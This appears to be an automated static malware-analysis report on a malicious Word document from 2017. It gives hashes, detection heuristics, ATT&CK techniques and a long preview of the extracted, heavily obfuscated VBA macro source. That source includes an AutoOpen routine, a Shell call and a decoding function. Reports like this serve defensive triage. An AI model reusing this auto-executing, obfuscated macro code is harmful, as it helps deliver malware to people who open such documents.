Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 29fc14e8b9587dc1…

MALICIOUS

Office (OLE)

276.0 KB Created: 2017-06-28 15:12:00 Authoring application: Microsoft Office Word First seen: 2017-07-07
MD5: 08b0aec50f0098a318c0b5ee20749232 SHA-1: d832d90b78fb655c8e63ccba73e44c309b5120b8 SHA-256: 29fc14e8b9587dc1caed942d2bac86f12f3cdecdd6a8b57233871541457c6b54
212 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious Office document containing obfuscated VBA macros. The AutoOpen macro, identified by critical heuristics, likely attempts to execute a command via the Shell function. This is a common technique for downloading and executing further stages of malware. The presence of VBA macros and the AutoOpen marker strongly suggest a spearphishing attachment delivery vector.

Heuristics 8

  • ClamAV: Doc.Macro.Obfuscation-6331107-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Macro.Obfuscation-6331107-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    End Select
    Call Shell(oHExRn, c1J5Ie)
    End Function
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "st3wzgrBb"
    Sub AutoOpen()
    NzMKnNFqQ = 77 + 135
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ns.adobe.com/xap/1.0/ In document text (OLE body)
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In document text (OLE body)
    • http://purl.org/dc/elements/1.1/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/mm/In document text (OLE body)
    • http://ns.adobe.com/xap/1.0/sType/ResourceRef#In document text (OLE body)
    • http://ns.adobe.com/tiff/1.0/In document text (OLE body)
    • http://ns.adobe.com/exif/1.0/In document text (OLE body)
    • http://ns.adobe.com/photoshop/1.0/In document text (OLE body)
    • http://www.iec.chIn document text (OLE body)
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 80304 bytes
SHA-256: e3cde083aed3fc16c2bf41bcc18bfa1aab522a4e24df21450b375b1007ef860d
Detection
ClamAV: No threats found
Obfuscation or payload: likely
922 of 1779 identifiers look randomly generated (e.g. 'JqZWN0IFdTY3JpcHQuU2hlbGw7JHdlYmNsaWVudC') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "st3wzgrBb"
Sub AutoOpen()
NzMKnNFqQ = 77 + 135
If NzMKnNFqQ = 29 - 15 Then
au68g0p = 0
End If
m4NMQm = m4NMQm & au68g0p
braXj9Nq = 9460 / 86
Select Case braXj9Nq
Case 29 - 15
WejT3 = False
Case 572 - 546
q50lvhpH = 98
Case 16383 / 381
x17ZQ = False
Case Else
IsoeINh = 0
End Select
kwUctAxBE = 77 + 135
If kwUctAxBE = 29 - 15 Then
XVQlU5 = 19935.186387908
End If
jfn8GZVEe = jfn8GZVEe & XVQlU5
T5SAIUh = 111 - 63
Select Case T5SAIUh
Case -1193 + 1209
LJ1aIr = 35711.828650159
Case -569 + 586
KRoZfSey = 35711.828650159
End Select
YrD50T6w = 111 - 63
Select Case YrD50T6w
Case -1193 + 1209
cUMehg = 17868.38635647
Case -569 + 586
eEMyW0ON = 242
Case 26019 / 531
VQpnDS = 17868.38635647
Case Else
i1VSA7 = True
End Select
rmgXj = 111 - 63
Select Case rmgXj
Case -1193 + 1209
TahgYy = -9000
Case -569 + 586
oelyfqA1 = -9000
End Select
uLQOfF = 111 - 63
Select Case uLQOfF
Case -1193 + 1209
VvAc1 = 59417.064287784
Case -569 + 586
MmZh2lJI = 52915.675186754
Case 26019 / 531
X3aXBxqI = False
Case Else
AqgaJ8XkV = False
End Select
giBtU6ndK = 98 - 17
Select Case giBtU6ndK
Case 1473 - 1464
Skc854M = 11202.795532888
Case -677 + 707
dZBd8e = 254
Case 125 - 66
dWqyiOdeD = 11202.795532888
Case Else
HJXqF = 3219
End Select
gVGXIt = 407 + 64
If gVGXIt = 1473 - 1464 Then
s9hMR = 5219.2440337786
ElseIf gVGXIt = -677 + 707 Then
qpq6OoB0K = 172
Else
VByD3z = 5219.2440337786
End If
XzIqj = s9hMR & qpq6OoB0K & VByD3z
YLRwt = 407 + 64
If YLRwt = 1473 - 1464 Then
tkp1XB = True
Else
EwFx95O7A = APfQ8bB
End If
Tyfk2m3 = tkp1XB & EwFx95O7A
EMnof = 98 - 17
Select Case EMnof
Case 1473 - 1464
ErqfPkhG = 29916.32039888
End Select
X23hymnG = 407 + 64
If X23hymnG = 1473 - 1464 Then
QvKLPho0V = 0
Else
RvMudtQ = 0
End If
EneTkPd0 = QvKLPho0V & RvMudtQ
nVlqO = 761 - 739
Select Case nVlqO
Case -3251 + 3256
tR9ZF1i = True
Case -1046 + 1067
T2zoL5D = RTrHPDkQ
Case 587 - 528
XSLpsZ = 820.49819874831
End Select
hYJqR = 826 - 40
If hYJqR = -3251 + 3256 Then
sAiFWJVou = 0
ElseIf hYJqR = -1046 + 1067 Then
qwxlAG54m = 1576.8296045114
Else
gGJkC = -29363
End If
fFdXWJck = sAiFWJVou & qwxlAG54m & gGJkC
ayPenLHri = 761 - 739
Select Case ayPenLHri
Case -3251 + 3256
V8tPL = 0
Case -1046 + 1067
I5tCK = 0
End Select
S3HvnS = 761 - 739
Select Case S3HvnS
Case -3251 + 3256
FL9Rr = 29862.132595105
End Select
QEeYtdrC4 = 761 - 739
Select Case QEeYtdrC4
Case -3251 + 3256
l6ZrHIWp2 = QVcBys68q
Case -1046 + 1067
dFQtNb8 = 77
Case 587 - 528
sFj3naeBD = 19026
End Select
MfhGqj9 = 485 + 26
If MfhGqj9 = -11460 + 11462 Then
LrolI0K = O2vOKi
Else
rxSemV = 60429.722233578
End If
OXqe7WOPG = LrolI0K & rxSemV
Eek0DT9SF = 485 + 26
If Eek0DT9SF = -11460 + 11462 Then
vWGFNK = -5590
Else
Xy9hkdM = False
End If
fEFBR = vWGFNK & Xy9hkdM
nR5p4 = 5762 / 67
Select Case nR5p4
Case -11460 + 11462
G0z8f = 23195
Case 759 - 734
HtcNiSn = kTz2xaIJ
Case 25875 / 575
h6fIGT5r = 34068.159930032
Case Else
zRmiTMt = 7
End Select
bBdx3S6 = 5762 / 67
Select Case bBdx3S6
Case -11460 + 11462
QmGzyhF = 7118.8901781605
Case 759 - 734
sNis8D = 41966.763649896
End Select
vV75x6jYC = 16491 / 239
Select Case vV75x6jYC
Case 2546 - 2535
hVAL45 = 14
Case 11151 / 413
mGaqK = 44098.603584217
Case 23463 / 711
RL7lU = Uv6LKt
End Select
MZSY1a6dQ = 1524 / 3
If MZSY1a6dQ = 2546 - 2535 Then
GocFPLi = 1559
ElseIf MZSY1a6dQ = 11151 / 413 Then
tPdmw1 = 50594.04718865
Else
RvM6mx = 50594.04718865
End If
Ugy2O = GocFPLi & tPdmw1 & RvM6mx
mlfkM3o8s = 1524 / 3
If mlfkM3o8s = 2546 - 2535 Then
KxM0w = 29212
ElseIf mlfkM3o8s = 11151 / 413 Then
Mno0F6k = jRjSz
Else
aacAlhzV3 = 0
End If
ZrAnTyNCt = KxM0w & Mno0F6k & aacAlhzV3
oxXTN = 1524 / 3
If oxXTN = 2546 - 2535 Then
dmxp6c = fmHMF0GQ
Else
iwF4eW = fmHMF0GQ
End If
UxBomH9O = dmxp6c & iwF4eW
lTrYIVD3 = 397 + 6
If lTrYIVD3 = 819 - 807 Then
MMl7juZF = 35973.525378168
ElseIf lTrYIVD3 = 410 - 385 Then
r9ZnQ5j = 189
Else
dhVJGmBQL = C8xWG5wX
End If
Zqr4GSM = MMl7juZF & r9ZnQ5j & dhVJGmBQL
Hqrn3 = 397 + 6
If Hqrn3 = 819 - 807 Then
rkfJh = 43
ElseIf Hqrn3 = 410 - 385 Then
BEVMWOlA0 = 58627.923231624
Else
sdDJWy9L = 8162
End If
ZilOcLMQw = rkfJh & BEVMWOlA0 & sdDJWy9L
CWPqEyf = 368 - 295
Select Case CWPqEyf
Case 819 - 807
jzprMToh = 22945.407291081
End Select
igwK5rF = 397 + 6
If igwK5rF = 819 - 807 Then
d96szjvON = 59491.368820058
End If
b75KRxpt = b75KRxpt & d96szjvON
L7hFmO2 = 368 - 295
Select Case L7hFmO2
Case 819 - 807
Los1FM = S6WnStuiX
Case 410 - 385
ygdCwu65N = 51325.747194691
End Select
kgjqe1mN = 3335 - 3328
Select Case kgjqe1mN
Case 13155 / 13155
poXL13k = 55648.811107539
Case -729 + 747
OMSHuOm19 = 55648.811107539
Case -515 + 566
rjGrMN = 68
End Select
EJVDOtUE = 3335 - 3328
Select Case EJVDOtUE
Case 13155 / 13155
Q75oe = 46096.909877442
Case -729 + 747
dAIbKYXf = 0
Case -515 + 566
eZUcA2zqS = 42
Case Else
wxacR = c9fge5qk
End Select
auvPE = 3335 - 3328
Select Case auvPE
Case 13155 / 13155
I2q1lv = 0
Case -729 + 747
KJuzKh6BX = Gu1G5mi
End Select
cyrLbmhst = 3335 - 3328
Select Case cyrLbmhst
Case 13155 / 13155
Vye8M9C = 47779.326634078
End Select
FHoy6C4Vm = 322 - 226
If FHoy6C4Vm = 13155 / 13155 Then
WCsjP = -2761
End If
fihcB7 = fihcB7 & WCsjP
m5QxiB0zE = -3249 + 3259
Select Case m5QxiB0zE
Case 17706 / 5902
n5DlWtxV = 17218
Case -936 + 958
MvJDB7Fa = -204793348
Case 16588 / 319
SIPjm = False
Case Else
fw2oZ = False
End Select
U37M5 = -3249 + 3259
Select Case U37M5
Case 17706 / 5902
eCKZb0 = 15
Case -936 + 958
Gf14qns = 15
Case 16588 / 319
JIDCO6bGp = 11936
End Select
rhZRAqc10 = -3249 + 3259
Select Case rhZRAqc10
Case 17706 / 5902
p3QNz = sszmVg8
Case -936 + 958
S8mvz = -1686510424
End Select
Hj6v0 = 889 - 881
Select Case Hj6v0
Case 17832 / 2972
ZHvtVl = 241
Case 1043 - 1013
McPBKHo = 27525
Case 840 / 24
SiKq084hJ = EblnXyT
End Select
mj7Jec = 889 - 881
Select Case mj7Jec
Case 17832 / 2972
H9COW = 62818.078402305
Case 1043 - 1013
sGxhE = 8146.7746376327
Case 840 / 24
MDvLgQP = -361
Case Else
wy8P4 = HQrY3mNcK
End Select
bjdEHCmNx = 889 - 881
Select Case bjdEHCmNx
Case 17832 / 2972
ZnM5p = 17159.940207658
Case 1043 - 1013
wJh8Im = 153
End Select
qiVUNHKad = 889 - 881
Select Case qiVUNHKad
Case 17832 / 2972
BQPX12 = 8354
Case 1043 - 1013
H1GFaULiO = 105
Case 840 / 24
dgNAmZJk = 8354
Case Else
A4SIKiY = N8fnK6
End Select
Qonbxf = 1098 - 1076
Select Case Qonbxf
Case 1110 - 1102
M5z1g0 = 0
Case 84 - 67
f4UirTp = 51
Case 4488 / 88
YziqJstw3 = TzOEr
End Select
hD0Qw9 = 913 - 7
If hD0Qw9 = 1110 - 1102 Then
XM4esJFK = 10
End If
lrBwE4 = lrBwE4 & XM4esJFK
qFqkYQn0w = 913 - 7
If qFqkYQn0w = 1110 - 1102 Then
dhXmFH8 = 63651.349157386
Else
cp9DQSVF = -1820655252
End If
buTsE = dhXmFH8 & cp9DQSVF
k6XhpiC = 511 - 471
Select Case k6XhpiC
Case 8912 / 8912
ljCgFV6i = -657053744
End Select
ZREtl1JPs = 963 + 8
If ZREtl1JPs = 8912 / 8912 Then
lPpxCdoO = 16493.18156474
Else
W42woYfV = 47573.189270984
End If
XwJUNmX = lPpxCdoO & W42woYfV
QrY018Lp = 511 - 471
Select Case QrY018Lp
Case 8912 / 8912
WU3qb7 = Kd1uiq
Case 932 - 909
tUyWbThAw = 49883.211153145
End Select
EHwg2oDkn = 963 + 8
If EHwg2oDkn = 8912 / 8912 Then
Emznh1 = 39046.932147521
End If
J1iHne = J1iHne & Emznh1
YiePpcwx = 963 + 8
If YiePpcwx = 8912 / 8912 Then
LK5UaIj = 36875.777595967
ElseIf YiePpcwx = 932 - 909 Then
yuzMZp = 36875.777595967
Else
aELpO4H = True
End If
U6dlKZUhP = LK5UaIj & yuzMZp & aELpO4H
jFgaZk5s = -306 + 383
Select Case jFgaZk5s
Case 1430 - 1418
xLhe5yndc = 14706.305339637
End Select
A63wfcyOu = 14060 / 20
If A63wfcyOu = 1430 - 1418 Then
qchLRK = False
ElseIf A63wfcyOu = -15 + 47 Then
M4AdB = 26292.353259429
Else
ufJVs = 5
End If
qK3WXCRb = qchLRK & M4AdB & ufJVs
CKrNg6 = 14060 / 20
If CKrNg6 = 1430 - 1418 Then
w6cwn = 19039.632737511
Else
SOzxU = WENAd
End If
Vwt5IxTk = w6cwn & SOzxU
uNhB4 = 660 - 630
Select Case uNhB4
Case 2720 - 2715
UCTfxSV7 = 31447.076501708
End Select
Y4nsb = 624 - 53
If Y4nsb = 2720 - 2715 Then
B3wVF7UN = 74
Else
Ey3pBUm = 74
End If
JCIgnLS = B3wVF7UN & Ey3pBUm
nFoh6 = 660 - 630
Select Case nFoh6
Case 2720 - 2715
ujh9Ymd = True
End Select
Eo8aWb = 624 - 53
If Eo8aWb = 2720 - 2715 Then
wzyQk = 0
ElseIf Eo8aWb = -1133 + 1155 Then
Fs65Z = 48598.894076156
Else
uFduUsXq = q5qwLvz
End If
v0JWYKfk7 = wzyQk & Fs65Z & uFduUsXq
cuZohp = 624 - 53
If cuZohp = 2720 - 2715 Then
itjbqYp = True
ElseIf cuZohp = -1133 + 1155 Then
daZeqzU = -1148348736
Else
kyYwFET = 25693
End If
XZcl2sYi4 = itjbqYp & daZeqzU & kyYwFET
qNvof8 = 27800 / 556
Select Case qNvof8
Case 5586 - 5585
qn1l9 = True
Case 457 - 439
o8rm5 = 0
Case 11312 / 202
TwUKd = 97
End Select
JLeEqK = 27800 / 556
Select Case JLeEqK
Case 5586 - 5585
EqBdI = 0
Case 457 - 439
AOxdhCjD = False
End Select
Q3NeC = 27800 / 556
Select Case Q3NeC
Case 5586 - 5585
KtBKL9Sz = 0
End Select
nXO7jS = 928 + 17
If nXO7jS = 5586 - 5585 Then
HFPBgAIrW = QbM4Qc
Else
XbA9FQJIV = QbM4Qc
End If
asfpL = HFPBgAIrW & XbA9FQJIV
jYfeVBW = 928 + 17
If jYfeVBW = 5586 - 5585 Then
wYMurBfUq = 7047.1371512127
Else
Kgxhd0Z = 58
End If
HSLcNou = wYMurBfUq & Kgxhd0Z
V9dhKS
VUAe8Z = 849 + 14
If VUAe8Z = 523 - 520 Then
NiC0d8tr = 74
Else
H7zF0tQ = -1964123580
End If
LJWN2bB = NiC0d8tr & H7zF0tQ
F5JPLhXO2 = 332 - 228
Select Case F5JPLhXO2
Case 523 - 520
nErAZ = 231
End Select
oZosc = 849 + 14
If oZosc = 523 - 520 Then
aneoijrC = 0
End If
aruB1Y3K = aruB1Y3K & aneoijrC
TaV0dP = 332 - 228
Select Case TaV0dP
Case 523 - 520
uHiz6PgI5 = 40182.837056378
End Select
i9Kwmz = 332 - 228
Select Case i9Kwmz
Case 523 - 520
NYXzFA = cs74aXl
Case 8208 / 304
ISWOw = -1296
End Select
AnvJkYR = 421 - 28
If AnvJkYR = 397 - 381 Then
kaiKz9V = 35075.025605653
End If
GI7M5 = GI7M5 & kaiKz9V
DUqpRnhK = 3036 / 33
Select Case DUqpRnhK
Case 397 - 381
zM7Rux6WK = 37424.881689418
End Select
o9zCUaKEW = 3036 / 33
Select Case o9zCUaKEW
Case 397 - 381
PeHl4 = 15306
Case 20556 / 1142
bSnzF1v = False
End Select
d1WFTH = 678 - 637
Select Case d1WFTH
Case 1018 - 1003
BmuxcM74 = 61794.136723354
Case 93 - 62
sUGDY2pvg = 0
Case 944 - 910
CbvcC = 215
Case Else
mBfthlO = 25368
End Select
rb4uJmRi = 678 - 637
Select Case rb4uJmRi
Case 1018 - 1003
uRkGZ = -3041
Case 93 - 62
PQiAdZ = True
End Select
VTKIdv = 678 - 637
Select Case VTKIdv
Case 1018 - 1003
sbWZn0 = 3.894944918551
Case 93 - 62
ptazHJQY = 3.894944918551
Case 944 - 910
TrEfqp = 4507.9868926267
Case Else
qSvrRX = 4507.9868926267
End Select

sSr75 = 10508 / 71
If sSr75 = -1528 + 1542 Then
X1N6iW = False
End If
e6Eb0d = e6Eb0d & X1N6iW
o9tS4PFYe = 30732 / 394
Select Case o9tS4PFYe
Case -1528 + 1542
DvMEp74d = False
Case 1308 - 1285
DtLr2qZh = 0
Case 725 - 684
xOUCjkote = tZHfYK
End Select
aA6bNpZf = 10508 / 71
If aA6bNpZf = -1528 + 1542 Then
TPgaHZ = -545693192
End If
lRpbroVJ = lRpbroVJ & TPgaHZ
TRFITi = 10508 / 71
If TRFITi = -1528 + 1542 Then
dQ8TD = 83
ElseIf TRFITi = 1308 - 1285 Then
vaGmxe = 6741
Else
abr0PJ = 6741
End If
hMADfVQS = dQ8TD & vaGmxe & abr0PJ
quM74kma = -338 + 369
Select Case quM74kma
Case -2632 + 2642
kxHk5za = 45
Case 1435 - 1413
QCPTnJ = 5793.1497819271
End Select
KBTlqaC = 533 + 21
If KBTlqaC = -2632 + 2642 Then
fKXvyHP = 7159.6803893731
End If
QkHivIpa = QkHivIpa & fKXvyHP
LKx8v = -338 + 369
Select Case LKx8v
Case -2632 + 2642
m9WglmjKx = -28249
Case 1435 - 1413
kAiI3Sh = fA5q7
End Select
End Sub

Attribute VB_Name = "da1giZuHP"
Private Const TIx1H = 261120 * 64
Private Const JvQYA = 53896 + 11384
Private Const EldDAn = 157 + 98
Private Const kQpow4Ita = 265904 - 3760
Private Const LWo7TQtZ = 4101 - 5
Private Const g6BpXlvrC = 7488 / 117
Private Const geXymp = 32512 / 127
Private Const zCsxG5I7w = 64114 + 1422
Public Function gnlsDPOE(Dg1KASB As String) As String
Dim NlRIK() As Byte
Dim rjDf48e() As Byte
Dim wcHor1(255) As Byte
Dim VhLYeBc0U(63) As Long
Dim kQoiga2W(63) As Long
Dim wjSmPFrGK(63) As Long
Dim fHWhEw31 As Long
Dim a6M0n As Integer
Dim lChar As Long
Dim lPos As Long
Dim sOut As String
Dim VIM9aY As Long
P5GHsbD = 18765 / 417
If P5GHsbD = 8188 / 2047 Then
g1C3M5 = -806862552
ElseIf P5GHsbD = -489 + 508 Then
Sw6RhC = X2ve8XQ3
Else
yQOjsmLWP = 29510.099596593
End If
ODRPZFC = g1C3M5 & Sw6RhC & yQOjsmLWP
AtU2D = 17655 / 535
Select Case AtU2D
Case 8188 / 2047
zhFH0DzE = o3WtOcz
End Select
FmaDsc6k = 17655 / 535
Select Case FmaDsc6k
Case 8188 / 2047
G9YCehv1 = 13033.979859957
Case -489 + 508
T56cLV = 10435.272738752
End Select
gfL76iPC = 17655 / 535
Select Case gfL76iPC
Case 8188 / 2047
kXWq0v6x = False
Case -489 + 508
Cq8P4L = 0
Case -412 + 454
nF9roe = 14190
Case Else
NLzl2V = 30638.995243317
End Select
c57A2UaB = 17655 / 535
Select Case c57A2UaB
Case 8188 / 2047
qQh0aHO = 14715.366206262
End Select
NXKfSz9 = 381 - 118
If NXKfSz9 = -4417 + 4423 Then
eOiqAT01 = 17000.499185298
Else
ljc6Zi = 0
End If
uZrPI9mj = eOiqAT01 & ljc6Zi
bVrTSq5j = 381 - 118
If bVrTSq5j = -4417 + 4423 Then
yysuhc = 120
ElseIf bVrTSq5j = 669 - 651 Then
oNiBo5 = 48539.76353761
Else
qU9d6K = -1800143056
End If
lFV9seB0 = yysuhc & oNiBo5 & qU9d6K
csGlzQP = 381 - 118
If csGlzQP = -4417 + 4423 Then
qzfoNE6G = 0
ElseIf csGlzQP = 669 - 651 Then
jMYvzLOAN = 19859.993716087
Else
iOw21TYn = 5377
End If
pD7HbV = qzfoNE6G & jMYvzLOAN & iOw21TYn
s1CVp = 381 - 118
If s1CVp = -4417 + 4423 Then
mnglyb = gEVgPZWB
ElseIf s1CVp = 669 - 651 Then
ryq6vhw = 0
Else
R7UVXE = gEVgPZWB
End If
o0oPQ5Ybl = mnglyb & ryq6vhw & R7UVXE
zlm9O8ae = 381 - 118
If zlm9O8ae = -4417 + 4423 Then
EUhM7 = CdDY85E
ElseIf zlm9O8ae = 669 - 651 Then
zptS2hwV9 = False
Else
YLkU9 = False
End If
vXxMUFuHk = EUhM7 & zptS2hwV9 & YLkU9
fRgf4 = 22032 / 432
Select Case fRgf4
Case 27872 / 3484
sdh0E = -4888
Case 20387 / 703
eoQXPEfdV = True
Case 24966 / 438
l9seFPUc = 225
End Select
D6TqEaOVA = 22032 / 432
Select Case D6TqEaOVA
Case 27872 / 3484
DJilko = -103571192
Case 20387 / 703
h0Q67R = -103571192
Case 24966 / 438
NmVKgzsw = 34
Case Else
g3Xc5KZ = False
End Select
ygMwVQ3iS = 308 + 65
If ygMwVQ3iS = 27872 / 3484 Then
WqzrF6 = 33946.68781176
ElseIf ygMwVQ3iS = 20387 / 703 Then
dKzgsE = False
Else
VOnlg8ov = -1279543278
End If
kXqIOMkWm = WqzrF6 & dKzgsE & VOnlg8ov
BliMS = 308 + 65
If BliMS = 27872 / 3484 Then
Ylvbijm = zdL1sAb
Else
G0YjgB4o = 104
End If
LL7CYDJt = Ylvbijm & G0YjgB4o
Dg1KASB = Replace(Dg1KASB, vbCr, vbNullString)
cYtBieE9c = 648 - 43
If cYtBieE9c = -159 + 165 Then
r7MTj = True
End If
wH8XJ = wH8XJ & r7MTj
DQS0u = 348 - 231
Select Case DQS0u
Case -159 + 165
XNX7eRm = 0
Case 536 - 518
bY236xv = 0
Case 229 - 183
sv9SU = Flnse5
Case Else
ECUy1wv = 0
End Select
r4Azwf = 648 - 43
If r4Azwf = -159 + 165 Then
VxKPhTOM = -25341
End If
Xoyd2mC = Xoyd2mC & VxKPhTOM
ub1knYaC = 348 - 231
Select Case ub1knYaC
Case -159 + 165
gWT4A = 0
Case 536 - 518
gIx2gh7G = 0
Case 229 - 183
CLbWT = 47935.685489029
Case Else
v3iONQLE = 47935.685489029
End Select
l8hS1mN4Q = 8 * 55
If l8hS1mN4Q = 14847 / 2121 Then
uJWM5 = 53562.812760126
ElseIf l8hS1mN4Q = -354 + 384 Then
T0I8fX = True
Else
G2bdCqOw = hLVpv
End If
FaO3p2nJ = uJWM5 & T0I8fX & G2bdCqOw
vBh5u = 480 - 427
Select Case vBh5u
Case 14847 / 2121
Hwe0mVAFo = 54101.19710719
Case -354 + 384
rN4d8QTk = True
Case 168 - 112
lsA5Ii2u8 = 31096
Case Else
PK2s6LlV7 = PkRODuv
End Select
n148zExT = 480 - 427
Select Case n148zExT
Case 14847 / 2121
hJV4f5 = -1139
End Select
E42d8ifv = 480 - 427
Select Case E42d8ifv
Case 14847 / 2121
cIzP2 = NtrZu
Case -354 + 384
OYD7gH0h = -26803
Case 168 - 112
XtA7uZ = True
Case Else
YRang = 47
End Select
cSHnsVcBu = 8 * 55
If cSHnsVcBu = 14847 / 2121 Then
etqU3cFk = 211
Else
WdsPuGf8c = 38608.776864613
End If
l9BKytS0 = etqU3cFk & WdsPuGf8c
fcdHL7Bnw = 26676 / 57
If fcdHL7Bnw = 1524 - 1521 Then
v93F5uxvR = 55239.382010615
End If
lN7KQZU = lN7KQZU & v93F5uxvR
YieGCD04 = -579 + 624
Select Case YieGCD04
Case 1524 - 1521
e6JjNDZ = 23622.731477412
Case 11596 / 446
XCMds = 23622.731477412
Case -11 + 60
AcwnG4 = 168
End Select
P6iQjX = 26676 / 57
If P6iQjX = 1524 - 1521 Then
pScuahXyN = 1485.2891592344
End If
ANiI93gt = ANiI93gt & pScuahXyN
ZoOVJcLKA = 17892 / 18
If ZoOVJcLKA = 23175 / 2575 Then
GAZEku = -575618184
ElseIf ZoOVJcLKA = -1135 + 1157 Then
izOMqv9k7 = 9503
Else
TNHqjW7b = -575618184
End If
tY0MW = GAZEku & izOMqv9k7 & TNHqjW7b
HftKMYzU = 17892 / 18
If HftKMYzU = 23175 / 2575 Then
tIsmecEJF = 40273.848579047
Else
KlRLq = 40273.848579047
End If
DSqWl = tIsmecEJF & KlRLq
IEPMUYh = -355 + 425
Select Case IEPMUYh
Case 23175 / 2575
hrlmqdOY = 41501.410905276
Case -1135 + 1157
WC8TEiQ = 41501.410905276
End Select
Dg1KASB = Replace(Dg1KASB, vbLf, vbNullString)
RA1n6T5 = 786 - 744
Select Case RA1n6T5
Case 1614 - 1601
kiPuHGf = ihR6J
Case 704 - 674
bVbCGU = -5436
End Select
I1LBR3TPJ = 786 - 744
Select Case I1LBR3TPJ
Case 1614 - 1601
SCat1 = 58528.743406858
Case 704 - 674
EIs5wf = -1004365106
Case 19529 / 331
WNFjPkTm6 = hB0TAP3
End Select
I4281WLDN = 786 - 744
Select Case I4281WLDN
Case 1614 - 1601
SPMfhDsz = IFLHX
Case 704 - 674
DiP208V = IFLHX
End Select
aotpcxJ = 18662 / 301
Select Case aotpcxJ
Case 18792 / 2088
JTs8h = 124
End Select
oH3NLafPx = 315 + 50
If oH3NLafPx = 18792 / 2088 Then
ps5q137M = ELK0aW
ElseIf oH3NLafPx = -1653 + 1671 Then
iDjg96fA = ELK0aW
Else
b6eGg = 29843.283883181
End If
Q9bhnBR = ps5q137M & iDjg96fA & b6eGg
b4xZJfQF = 18662 / 301
Select Case b4xZJfQF
Case 18792 / 2088
avZygR = 28787.912079938
End Select
AYj0S = 315 + 50
If AYj0S = 18792 / 2088 Then
mZGQORo = 12079.850563684
ElseIf AYj0S = -1653 + 1671 Then
Mh6Zi = -23147
Else
li2lNVXAI = -2064832780
End If
rK4IfuW = mZGQORo & Mh6Zi & li2lNVXAI
kgGSFWij = 633 - 590
Select Case kgGSFWij
Case 391 - 389
zUpXMf1zA = 56094.345306374
Case -20 + 41
kslGCFrH = 208
End Select
RWuLVG = 633 - 590
Select Case RWuLVG
Case 391 - 389
gjRyFQ = 25
End Select
Z6iaJzES = 633 - 590
Select Case Z6iaJzES
Case 391 - 389
yWon3 = 0
Case -20 + 41
UtUBjch5 = 0
Case 3074 / 53
VXdM4qjI = 173
Case Else
E0YEtB3cy = True
End Select
VIM9aY = Len(Dg1KASB) Mod 4
Hy3oEmS = -143 + 233
Select Case Hy3oEmS
Case 6756 / 1126
jjSx6n1tO = 0
Case 632 - 611
DUyVTS = 129
Case 11552 / 304
ybVH48uJk = 0
Case Else
m6FvyZ = 32997.281923767
End Select
s5gtey3R = -143 + 233
Select Case s5gtey3R
Case 6756 / 1126
hux8PF = 0
End Select
oHIma = -143 + 233
Select Case oHIma
Case 6756 / 1126
jJGCNmlu = False
End Select
afYR5Mh = 399 - 99
If afYR5Mh = 6756 / 1126 Then
IuyExdsQi = 59508.176608479
Else
J9YEc = 45960.661983256
End If
cfT3kV = IuyExdsQi & J9YEc
UBlVCpH = 22659 / 1079
Select Case UBlVCpH
Case 26446 / 13223
Owo2u = 24992
Case 202 - 175
jipxOK = XUkRImsG
End Select
P5Ym4O8jX = 337 + 29
If P5Ym4O8jX = 26446 / 13223 Then
P7gT8 = False
ElseIf P5Ym4O8jX = 202 - 175 Then
ecjvAf = 173
Else
llp07UGK = -1305142478
End If
J4gYRt = P7gT8 & ecjvAf & llp07UGK
ziumw3H = 22659 / 1079
Select Case ziumw3H
Case 26446 / 13223
Tc23t0 = 64744.205710715
…